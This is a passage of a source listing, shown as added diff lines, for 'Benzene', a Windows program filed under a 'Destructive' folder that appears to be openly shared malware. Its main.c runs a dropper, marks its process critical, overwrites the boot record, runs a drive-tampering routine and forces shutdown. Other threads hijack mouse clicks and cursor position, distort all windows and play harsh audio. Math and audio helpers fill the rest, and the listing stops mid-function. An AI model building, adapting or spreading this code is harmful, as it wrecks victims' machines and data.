StretchBlt( hdc, rcOriginal.left, rcOriginal.top, w, h, hdcDesktop, rcScrBounds.left, rcScrBounds.top,
|
| 170 |
+
rcScrBounds.right - rcScrBounds.left, rcScrBounds.bottom - rcScrBounds.top,
|
| 171 |
+
( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
|
| 172 |
+
}
|
| 173 |
+
|
| 174 |
+
ReleaseDC( hwnd, hdc );
|
| 175 |
+
|
| 176 |
+
bParent = ( BOOL )lParam;
|
| 177 |
+
|
| 178 |
+
if ( bParent )
|
| 179 |
+
{
|
| 180 |
+
EnumChildWindows( hwnd, GlobalWndProc, FALSE );
|
| 181 |
+
}
|
| 182 |
+
|
| 183 |
+
return TRUE;
|
| 184 |
+
}
|
| 185 |
+
|
| 186 |
+
VOID
|
| 187 |
+
WINAPI
|
| 188 |
+
EnumGlobalWnd( VOID )
|
| 189 |
+
{
|
| 190 |
+
for ( ;; )
|
| 191 |
+
{
|
| 192 |
+
EnumWindows( GlobalWndProc, TRUE );
|
| 193 |
+
}
|
| 194 |
+
}
|
| 195 |
+
|
| 196 |
+
VOID
|
| 197 |
+
WINAPI
|
| 198 |
+
CursorClicker( VOID )
|
| 199 |
+
{
|
| 200 |
+
INT ppdwClickEvents[ 2 ][ 2 ] = {
|
| 201 |
+
{ MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP },
|
| 202 |
+
{ MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP }
|
| 203 |
+
};
|
| 204 |
+
|
| 205 |
+
for ( ;; )
|
| 206 |
+
{
|
| 207 |
+
INT nIndex = Xorshift32( ) % 2;
|
| 208 |
+
|
| 209 |
+
mouse_event( ppdwClickEvents[ nIndex ][ 0 ], 0, 0, 0, 0 );
|
| 210 |
+
Sleep( Xorshift32( ) % 51 + 50 );
|
| 211 |
+
|
| 212 |
+
mouse_event( ppdwClickEvents[ nIndex ][ 1 ], 0, 0, 0, 0 );
|
| 213 |
+
Sleep( Xorshift32( ) % 51 + 50 );
|
| 214 |
+
}
|
| 215 |
+
}
|
| 216 |
+
|
| 217 |
+
VOID
|
| 218 |
+
WINAPI
|
| 219 |
+
CursorMess( VOID )
|
| 220 |
+
{
|
| 221 |
+
for ( ;; )
|
| 222 |
+
{
|
| 223 |
+
SetCursorPos( Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left ) - rcScrBounds.left,
|
| 224 |
+
Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top ) - rcScrBounds.top );
|
| 225 |
+
Sleep( 1000 );
|
| 226 |
+
}
|
| 227 |
+
}
|
| 228 |
+
|
| 229 |
+
VOID
|
| 230 |
+
WINAPI
|
| 231 |
+
CursorDraw( VOID )
|
| 232 |
+
{
|
| 233 |
+
CURSORINFO curInf = { sizeof( CURSORINFO ) };
|
| 234 |
+
|
| 235 |
+
for ( ;; )
|
| 236 |
+
{
|
| 237 |
+
GetCursorInfo( &curInf );
|
| 238 |
+
|
| 239 |
+
for ( INT i = 0; i < ( INT )( Xorshift32( ) % 5 + 1 ); i++ )
|
| 240 |
+
{
|
| 241 |
+
DrawIcon( hdcDesktop, Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left - GetSystemMetrics( SM_CXCURSOR ) ) - rcScrBounds.left,
|
| 242 |
+
Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top - GetSystemMetrics( SM_CYCURSOR ) ) - rcScrBounds.top, curInf.hCursor );
|
| 243 |
+
}
|
| 244 |
+
DestroyCursor( curInf.hCursor );
|
| 245 |
+
Sleep( Xorshift32( ) % 11 );
|
| 246 |
+
}
|
| 247 |
+
}
|
src/Benzene-main/Destructive/Benzene/extra_payloads.h
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
VOID
|
| 5 |
+
GetRandomPath(
|
| 6 |
+
_Inout_ PWSTR szRandom,
|
| 7 |
+
_In_ INT nLength
|
| 8 |
+
);
|
| 9 |
+
|
| 10 |
+
VOID
|
| 11 |
+
WINAPI
|
| 12 |
+
MessageBoxThread( VOID );
|
| 13 |
+
|
| 14 |
+
VOID
|
| 15 |
+
WINAPI
|
| 16 |
+
EnumGlobalWnd( VOID );
|
| 17 |
+
|
| 18 |
+
VOID
|
| 19 |
+
WINAPI
|
| 20 |
+
CursorClicker( VOID );
|
| 21 |
+
|
| 22 |
+
VOID
|
| 23 |
+
WINAPI
|
| 24 |
+
CursorMess( VOID );
|
| 25 |
+
|
| 26 |
+
VOID
|
| 27 |
+
WINAPI
|
| 28 |
+
CursorDraw( VOID );
|
src/Benzene-main/Destructive/Benzene/main.c
ADDED
|
@@ -0,0 +1,159 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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
| 14 |
+
{
|
| 15 |
+
HMODULE hModUser32 = LoadLibraryW(L"user32.dll");
|
| 16 |
+
BOOL(WINAPI * SetProcessDPIAware)(VOID) = (BOOL(WINAPI*)(VOID))GetProcAddress(hModUser32, "SetProcessDPIAware");
|
| 17 |
+
if (SetProcessDPIAware)
|
| 18 |
+
SetProcessDPIAware();
|
| 19 |
+
FreeLibrary(hModUser32);
|
| 20 |
+
|
| 21 |
+
hwndDesktop = HWND_DESKTOP;
|
| 22 |
+
hdcDesktop = GetDC(hwndDesktop);
|
| 23 |
+
|
| 24 |
+
SeedXorshift32((DWORD)__rdtsc());
|
| 25 |
+
InitializeSine();
|
| 26 |
+
EnumDisplayMonitors(NULL, NULL, &MonitorEnumProc, 0);
|
| 27 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)TimerThread, NULL, 0, NULL));
|
| 28 |
+
}
|
| 29 |
+
|
| 30 |
+
INT
|
| 31 |
+
WINAPI
|
| 32 |
+
wWinMain(
|
| 33 |
+
_In_ HINSTANCE hInstance,
|
| 34 |
+
_In_opt_ HINSTANCE hPrevInstance,
|
| 35 |
+
_In_ PWSTR pszCmdLine,
|
| 36 |
+
_In_ INT nShowCmd
|
| 37 |
+
)
|
| 38 |
+
{
|
| 39 |
+
UNREFERENCED_PARAMETER(hInstance);
|
| 40 |
+
UNREFERENCED_PARAMETER(hPrevInstance);
|
| 41 |
+
UNREFERENCED_PARAMETER(pszCmdLine);
|
| 42 |
+
UNREFERENCED_PARAMETER(nShowCmd);
|
| 43 |
+
|
| 44 |
+
HANDLE hCursorDraw, hAudioThread, hGdiThread;
|
| 45 |
+
|
| 46 |
+
Initialize();
|
| 47 |
+
|
| 48 |
+
if (!ExecuteDropper())
|
| 49 |
+
{
|
| 50 |
+
return 0;
|
| 51 |
+
}
|
| 52 |
+
|
| 53 |
+
if (!SetProcessCritical())
|
| 54 |
+
{
|
| 55 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)OverwriteBoot, NULL, 0, NULL));
|
| 56 |
+
Sleep(1000);
|
| 57 |
+
ForceShutdownComputer();
|
| 58 |
+
|
| 59 |
+
return 0;
|
| 60 |
+
}
|
| 61 |
+
|
| 62 |
+
|
| 63 |
+
Sleep(5000);
|
| 64 |
+
//CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MessageBoxThread, NULL, 0, NULL ) );
|
| 65 |
+
Sleep(1000);
|
| 66 |
+
|
| 67 |
+
DriveMess();
|
| 68 |
+
|
| 69 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)OverwriteBoot, NULL, 0, NULL));
|
| 70 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)EnumGlobalWnd, NULL, 0, NULL));
|
| 71 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorClicker, NULL, 0, NULL));
|
| 72 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorMess, NULL, 0, NULL));
|
| 73 |
+
|
| 74 |
+
hCursorDraw = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorDraw, NULL, 0, NULL);
|
| 75 |
+
|
| 76 |
+
CreateMutexW(NULL, TRUE, L"Benzene.exe");
|
| 77 |
+
|
| 78 |
+
if (GetLastError() == ERROR_ALREADY_EXISTS)
|
| 79 |
+
{
|
| 80 |
+
ForceShutdownComputer();
|
| 81 |
+
return 0;
|
| 82 |
+
}
|
| 83 |
+
|
| 84 |
+
pAudioSequences[0] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence1, NULL, NULL };
|
| 85 |
+
pAudioSequences[1] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence2, NULL, NULL };
|
| 86 |
+
pAudioSequences[2] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence3, NULL, NULL };
|
| 87 |
+
pAudioSequences[3] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence4, NULL, NULL };
|
| 88 |
+
pAudioSequences[4] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence5, NULL, NULL };
|
| 89 |
+
pAudioSequences[5] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence6, NULL, NULL };
|
| 90 |
+
pAudioSequences[6] = (AUDIO_SEQUENCE_PARAMS){ 12000, 12000 * 30, AudioSequence7, NULL, NULL };
|
| 91 |
+
pAudioSequences[7] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence8, NULL, NULL };
|
| 92 |
+
pAudioSequences[8] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence9, NULL, NULL };
|
| 93 |
+
pAudioSequences[9] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence10, NULL, NULL };
|
| 94 |
+
pAudioSequences[10] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence11, NULL, NULL };
|
| 95 |
+
pAudioSequences[11] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence12, NULL, NULL };
|
| 96 |
+
pAudioSequences[12] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence13, NULL, NULL };
|
| 97 |
+
pAudioSequences[13] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence14, NULL, NULL };
|
| 98 |
+
pAudioSequences[14] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence15, NULL, NULL };
|
| 99 |
+
pAudioSequences[15] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence16, NULL, NULL };
|
| 100 |
+
pAudioSequences[16] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence17, NULL, NULL };
|
| 101 |
+
pAudioSequences[17] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence18, NULL, NULL };
|
| 102 |
+
pAudioSequences[24] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, FinalAudioSequence, NULL, NULL };
|
| 103 |
+
|
| 104 |
+
|
| 105 |
+
pGdiShaders[0] = (GDI_SHADER_PARAMS){ GdiShader1, NULL, PostGdiShader1 };
|
| 106 |
+
pGdiShaders[1] = (GDI_SHADER_PARAMS){ GdiShader2, NULL, PostGdiShader2 };
|
| 107 |
+
pGdiShaders[2] = (GDI_SHADER_PARAMS){ GdiShader3, NULL, PostGdiShader3 };
|
| 108 |
+
pGdiShaders[3] = (GDI_SHADER_PARAMS){ GdiShader4, NULL, PostGdiShader2 };
|
| 109 |
+
pGdiShaders[4] = (GDI_SHADER_PARAMS){ GdiShader5, NULL, PostGdiShader4 };
|
| 110 |
+
pGdiShaders[5] = (GDI_SHADER_PARAMS){ GdiShader6, NULL, PostGdiShader2 };
|
| 111 |
+
pGdiShaders[6] = (GDI_SHADER_PARAMS){ GdiShader7, NULL, PostGdiShader5 };
|
| 112 |
+
pGdiShaders[7] = (GDI_SHADER_PARAMS){ GdiShader8, PreGdiShader1, PostGdiShader6 };
|
| 113 |
+
pGdiShaders[8] = (GDI_SHADER_PARAMS){ GdiShader9, NULL, NULL };
|
| 114 |
+
pGdiShaders[9] = (GDI_SHADER_PARAMS){ GdiShader10, NULL, NULL };
|
| 115 |
+
pGdiShaders[10] = (GDI_SHADER_PARAMS){ GdiShader11, NULL, NULL };
|
| 116 |
+
pGdiShaders[11] = (GDI_SHADER_PARAMS){ GdiShader12, NULL, NULL };
|
| 117 |
+
pGdiShaders[12] = (GDI_SHADER_PARAMS){ GdiShader13, NULL, NULL };
|
| 118 |
+
pGdiShaders[13] = (GDI_SHADER_PARAMS){ GdiShader14, NULL, PostGdiShader2 };
|
| 119 |
+
pGdiShaders[14] = (GDI_SHADER_PARAMS){ GdiShader15, NULL, NULL };
|
| 120 |
+
pGdiShaders[15] = (GDI_SHADER_PARAMS){ GdiShader16, NULL, NULL };
|
| 121 |
+
pGdiShaders[16] = (GDI_SHADER_PARAMS){ GdiShader17, NULL, NULL };
|
| 122 |
+
pGdiShaders[17] = (GDI_SHADER_PARAMS){ GdiShader18, NULL, NULL };
|
| 123 |
+
pGdiShaders[18] = (GDI_SHADER_PARAMS){ GdiShader19, NULL, NULL };
|
| 124 |
+
pGdiShaders[19] = (GDI_SHADER_PARAMS){ GdiShader20, NULL, PostGdiShader2 };
|
| 125 |
+
pGdiShaders[20] = (GDI_SHADER_PARAMS){ GdiShader21, NULL, PostGdiShader2 };
|
| 126 |
+
pGdiShaders[21] = (GDI_SHADER_PARAMS){ GdiShader22, NULL, PostGdiShader3 };
|
| 127 |
+
pGdiShaders[22] = (GDI_SHADER_PARAMS){ GdiShader23 , NULL, NULL };
|
| 128 |
+
pGdiShaders[23] = (GDI_SHADER_PARAMS){ GdiShader24 , NULL, NULL };
|
| 129 |
+
pGdiShaders[24] = (GDI_SHADER_PARAMS){ FinalGdiShader, NULL, NULL };
|
| 130 |
+
|
| 131 |
+
hAudioThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioPayloadThread, NULL, 0, NULL);
|
| 132 |
+
|
| 133 |
+
for (;; )
|
| 134 |
+
{
|
| 135 |
+
hGdiThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[Xorshift32() % 24], 0, NULL);
|
| 136 |
+
WaitForSingleObject(hGdiThread, (Xorshift32() % 3) ? PAYLOAD_MS : ((Xorshift32() % 5) * (PAYLOAD_MS / 4)));
|
| 137 |
+
CloseHandle(hGdiThread);
|
| 138 |
+
|
| 139 |
+
if (nCounter >= ((240 * 1000) / TIMER_DELAY))
|
| 140 |
+
{
|
| 141 |
+
break;
|
| 142 |
+
}
|
| 143 |
+
}
|
| 144 |
+
|
| 145 |
+
TerminateThread(hAudioThread, 0);
|
| 146 |
+
CloseHandle(hAudioThread);
|
| 147 |
+
|
| 148 |
+
TerminateThread(hCursorDraw, 0);
|
| 149 |
+
CloseHandle(hCursorDraw);
|
| 150 |
+
|
| 151 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[24], 0, NULL));
|
| 152 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioSequenceThread, &pAudioSequences[24], 0, NULL));
|
| 153 |
+
|
| 154 |
+
for (;; )
|
| 155 |
+
{
|
| 156 |
+
ForceShutdownComputer();
|
| 157 |
+
ExitProcess(0);
|
| 158 |
+
}
|
| 159 |
+
}
|
src/Benzene-main/Destructive/Benzene/math.c
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include "benzene.h"
|
| 2 |
+
|
| 3 |
+
DWORD xs;
|
| 4 |
+
static FLOAT pfSinVals[ 4096 ];
|
| 5 |
+
|
| 6 |
+
VOID
|
| 7 |
+
SeedXorshift32(
|
| 8 |
+
_In_ DWORD dwSeed
|
| 9 |
+
)
|
| 10 |
+
{
|
| 11 |
+
xs = dwSeed;
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
DWORD
|
| 15 |
+
Xorshift32( VOID )
|
| 16 |
+
{
|
| 17 |
+
xs ^= xs << 13;
|
| 18 |
+
xs ^= xs >> 17;
|
| 19 |
+
xs ^= xs << 5;
|
| 20 |
+
return xs;
|
| 21 |
+
}
|
| 22 |
+
|
| 23 |
+
VOID
|
| 24 |
+
Reflect2D(
|
| 25 |
+
_Inout_ PINT x,
|
| 26 |
+
_Inout_ PINT y,
|
| 27 |
+
_In_ INT w,
|
| 28 |
+
_In_ INT h
|
| 29 |
+
)
|
| 30 |
+
{
|
| 31 |
+
#define FUNCTION(v, maxv) ( abs( v ) / ( maxv ) % 2 ? ( maxv ) - abs( v ) % ( maxv ) : abs( v ) % ( maxv ) );
|
| 32 |
+
*x = FUNCTION( *x, w - 1 );
|
| 33 |
+
*y = FUNCTION( *y, h - 1 );
|
| 34 |
+
#undef FUNCTION
|
| 35 |
+
}
|
| 36 |
+
|
| 37 |
+
FLOAT
|
| 38 |
+
FastSine(
|
| 39 |
+
_In_ FLOAT f
|
| 40 |
+
)
|
| 41 |
+
{
|
| 42 |
+
INT i = ( INT )( f / ( 2.f * PI ) * ( FLOAT )_countof( pfSinVals ) );
|
| 43 |
+
return pfSinVals[ i % _countof( pfSinVals ) ];
|
| 44 |
+
}
|
| 45 |
+
|
| 46 |
+
FLOAT
|
| 47 |
+
FastCosine(
|
| 48 |
+
_In_ FLOAT f
|
| 49 |
+
)
|
| 50 |
+
{
|
| 51 |
+
return FastSine( f + PI / 2.f );
|
| 52 |
+
}
|
| 53 |
+
|
| 54 |
+
VOID
|
| 55 |
+
InitializeSine( VOID )
|
| 56 |
+
{
|
| 57 |
+
for ( INT i = 0; i < _countof( pfSinVals ); i++ )
|
| 58 |
+
pfSinVals[ i ] = sinf( ( FLOAT )i / ( FLOAT )_countof( pfSinVals ) * PI * 2.f );
|
| 59 |
+
}
|
src/Benzene-main/Destructive/Benzene/math.h
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
#define PI 3.141592f
|
| 5 |
+
|
| 6 |
+
VOID
|
| 7 |
+
SeedXorshift32(
|
| 8 |
+
_In_ DWORD dwSeed
|
| 9 |
+
);
|
| 10 |
+
|
| 11 |
+
DWORD
|
| 12 |
+
Xorshift32( VOID );
|
| 13 |
+
|
| 14 |
+
VOID
|
| 15 |
+
Reflect2D(
|
| 16 |
+
_Inout_ PINT x,
|
| 17 |
+
_Inout_ PINT y,
|
| 18 |
+
_In_ INT w,
|
| 19 |
+
_In_ INT h
|
| 20 |
+
);
|
| 21 |
+
|
| 22 |
+
VOID
|
| 23 |
+
InitializeSine( VOID );
|
| 24 |
+
|
| 25 |
+
FLOAT
|
| 26 |
+
FastSine(
|
| 27 |
+
_In_ FLOAT f
|
| 28 |
+
);
|
| 29 |
+
|
| 30 |
+
FLOAT
|
| 31 |
+
FastCosine(
|
| 32 |
+
_In_ FLOAT f
|
| 33 |
+
);
|
src/Benzene-main/Destructive/Benzene/payloads.c
ADDED
|
@@ -0,0 +1,1918 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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(;; )
|
| 8 |
+
{
|
| 9 |
+
INT piOrder[SYNTH_LENGTH];
|
| 10 |
+
INT nRandIndex;
|
| 11 |
+
INT nNumber;
|
| 12 |
+
|
| 13 |
+
for (INT i = 0; i < SYNTH_LENGTH; i++)
|
| 14 |
+
{
|
| 15 |
+
piOrder[i] = i;
|
| 16 |
+
}
|
| 17 |
+
|
| 18 |
+
for (INT i = 0; i < SYNTH_LENGTH; i++)
|
| 19 |
+
{
|
| 20 |
+
nRandIndex = Xorshift32() % 18;
|
| 21 |
+
nNumber = piOrder[nRandIndex];
|
| 22 |
+
piOrder[nRandIndex] = piOrder[i];
|
| 23 |
+
piOrder[i] = nNumber;
|
| 24 |
+
}
|
| 25 |
+
|
| 26 |
+
for (INT i = 0; i < SYNTH_LENGTH; i++)
|
| 27 |
+
{
|
| 28 |
+
ExecuteAudioSequence(
|
| 29 |
+
pAudioSequences[i].nSamplesPerSec,
|
| 30 |
+
pAudioSequences[i].nSampleCount,
|
| 31 |
+
pAudioSequences[i].pAudioSequence,
|
| 32 |
+
pAudioSequences[i].pPreAudioOp,
|
| 33 |
+
pAudioSequences[i].pPostAudioOp);
|
| 34 |
+
}
|
| 35 |
+
}
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
VOID
|
| 39 |
+
WINAPI
|
| 40 |
+
AudioSequenceThread(
|
| 41 |
+
_In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
|
| 42 |
+
)
|
| 43 |
+
{
|
| 44 |
+
ExecuteAudioSequence(
|
| 45 |
+
pAudioParams->nSamplesPerSec,
|
| 46 |
+
pAudioParams->nSampleCount,
|
| 47 |
+
pAudioParams->pAudioSequence,
|
| 48 |
+
pAudioParams->pPreAudioOp,
|
| 49 |
+
pAudioParams->pPostAudioOp);
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
VOID
|
| 53 |
+
WINAPI
|
| 54 |
+
ExecuteAudioSequence(
|
| 55 |
+
_In_ INT nSamplesPerSec,
|
| 56 |
+
_In_ INT nSampleCount,
|
| 57 |
+
_In_ AUDIO_SEQUENCE pAudioSequence,
|
| 58 |
+
_In_opt_ AUDIOSEQUENCE_OPERATION pPreAudioOp,
|
| 59 |
+
_In_opt_ AUDIOSEQUENCE_OPERATION pPostAudioOp
|
| 60 |
+
)
|
| 61 |
+
{
|
| 62 |
+
HANDLE hHeap = GetProcessHeap();
|
| 63 |
+
PSHORT psSamples = HeapAlloc(hHeap, 0, nSampleCount * 2);
|
| 64 |
+
WAVEFORMATEX waveFormat = { WAVE_FORMAT_PCM, 1, nSamplesPerSec, nSamplesPerSec * 2, 2, 16, 0 };
|
| 65 |
+
WAVEHDR waveHdr = { (PCHAR)psSamples, nSampleCount * 2, 0, 0, 0, 0, NULL, 0 };
|
| 66 |
+
HWAVEOUT hWaveOut;
|
| 67 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &waveFormat, 0, 0, 0);
|
| 68 |
+
|
| 69 |
+
if (pPreAudioOp)
|
| 70 |
+
{
|
| 71 |
+
pPreAudioOp(nSamplesPerSec);
|
| 72 |
+
}
|
| 73 |
+
|
| 74 |
+
pAudioSequence(nSamplesPerSec, nSampleCount, psSamples);
|
| 75 |
+
|
| 76 |
+
if (pPostAudioOp)
|
| 77 |
+
{
|
| 78 |
+
pPostAudioOp(nSamplesPerSec);
|
| 79 |
+
}
|
| 80 |
+
|
| 81 |
+
waveOutPrepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
|
| 82 |
+
waveOutWrite(hWaveOut, &waveHdr, sizeof(waveHdr));
|
| 83 |
+
|
| 84 |
+
Sleep(nSampleCount * 1000 / nSamplesPerSec);
|
| 85 |
+
|
| 86 |
+
while (!(waveHdr.dwFlags & WHDR_DONE))
|
| 87 |
+
{
|
| 88 |
+
Sleep(1);
|
| 89 |
+
}
|
| 90 |
+
|
| 91 |
+
waveOutReset(hWaveOut);
|
| 92 |
+
waveOutUnprepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
|
| 93 |
+
HeapFree(hHeap, 0, psSamples);
|
| 94 |
+
}
|
| 95 |
+
|
| 96 |
+
VOID
|
| 97 |
+
WINAPI
|
| 98 |
+
AudioSequence1(
|
| 99 |
+
_In_ INT nSamplesPerSec,
|
| 100 |
+
_In_ INT nSampleCount,
|
| 101 |
+
_Inout_ PSHORT psSamples
|
| 102 |
+
)
|
| 103 |
+
{
|
| 104 |
+
for (INT t = 0; t < nSampleCount; t++)
|
| 105 |
+
{
|
| 106 |
+
INT nFreq = (INT)(FastSine((FLOAT)t / 10.f) * 10.f + 29.f);
|
| 107 |
+
FLOAT fSine = FastSine((FLOAT)t / 10.f) * (FLOAT)nSamplesPerSec;
|
| 108 |
+
psSamples[t] = (SHORT)(TriangleWave(t, nFreq, (FLOAT)nSamplesPerSec * 5.f + fSine) * (FLOAT)SHRT_MAX * .1f) +
|
| 109 |
+
(SHORT)(SquareWave(t, nFreq, nSampleCount) * (FLOAT)SHRT_MAX * .2f);
|
| 110 |
+
}
|
| 111 |
+
}
|
| 112 |
+
|
| 113 |
+
VOID
|
| 114 |
+
WINAPI
|
| 115 |
+
AudioSequence2(
|
| 116 |
+
_In_ INT nSamplesPerSec,
|
| 117 |
+
_In_ INT nSampleCount,
|
| 118 |
+
_Inout_ PSHORT psSamples
|
| 119 |
+
)
|
| 120 |
+
{
|
| 121 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 122 |
+
|
| 123 |
+
for (INT t = 0; t < nSampleCount * 2; t++)
|
| 124 |
+
{
|
| 125 |
+
BYTE bFreq = (BYTE)( t % 2 | t % 2) + (t & t >> 2) + (t * 42 & t >> 10) + ((t % ((t >> 8 | 50) + 1 | t >>0)));
|
| 126 |
+
((BYTE*)psSamples)[t] = bFreq;
|
| 127 |
+
}
|
| 128 |
+
}
|
| 129 |
+
|
| 130 |
+
VOID
|
| 131 |
+
WINAPI
|
| 132 |
+
AudioSequence3(
|
| 133 |
+
_In_ INT nSamplesPerSec,
|
| 134 |
+
_In_ INT nSampleCount,
|
| 135 |
+
_Inout_ PSHORT psSamples
|
| 136 |
+
)
|
| 137 |
+
{
|
| 138 |
+
UNREFERENCED_PARAMETER(nSamplesPerSec);
|
| 139 |
+
|
| 140 |
+
INT nCubeRoot = (INT)cbrtf((FLOAT)nSampleCount) + 1;
|
| 141 |
+
for (INT z = 0; z < nCubeRoot; z++)
|
| 142 |
+
{
|
| 143 |
+
for (INT y = 0; y < nCubeRoot; y++)
|
| 144 |
+
{
|
| 145 |
+
for (INT x = 0; x < nCubeRoot; x++)
|
| 146 |
+
{
|
| 147 |
+
INT nIndex = z * nCubeRoot * nCubeRoot + y * nCubeRoot + x;
|
| 148 |
+
if (nIndex >= nSampleCount)
|
| 149 |
+
continue;
|
| 150 |
+
|
| 151 |
+
INT nFreq = (INT)((FLOAT)(y & z & x) * FastSine((FLOAT)(z * y * x) / 200.f));
|
| 152 |
+
psSamples[nIndex] =
|
| 153 |
+
(SHORT)(SquareWave(y + z * x, (nFreq % 300) + 100, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
|
| 154 |
+
(SHORT)(SawtoothWave(x | z, (150 - (nFreq % 20) / 4) + 800, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f) +
|
| 155 |
+
(SHORT)(TriangleWave((FLOAT)(x & y & z) + (SquareWave(x + y, nFreq % 50, nSamplesPerSec) * nSamplesPerSec),
|
| 156 |
+
(nFreq % 50) / 10 + 500, nSamplesPerSec) * (FLOAT)SHRT_MAX * .5f);
|
| 157 |
+
}
|
| 158 |
+
}
|
| 159 |
+
}
|
| 160 |
+
}
|
| 161 |
+
|
| 162 |
+
VOID
|
| 163 |
+
WINAPI
|
| 164 |
+
AudioSequence4(
|
| 165 |
+
_In_ INT nSamplesPerSec,
|
| 166 |
+
_In_ INT nSampleCount,
|
| 167 |
+
_Inout_ PSHORT psSamples
|
| 168 |
+
)
|
| 169 |
+
{
|
| 170 |
+
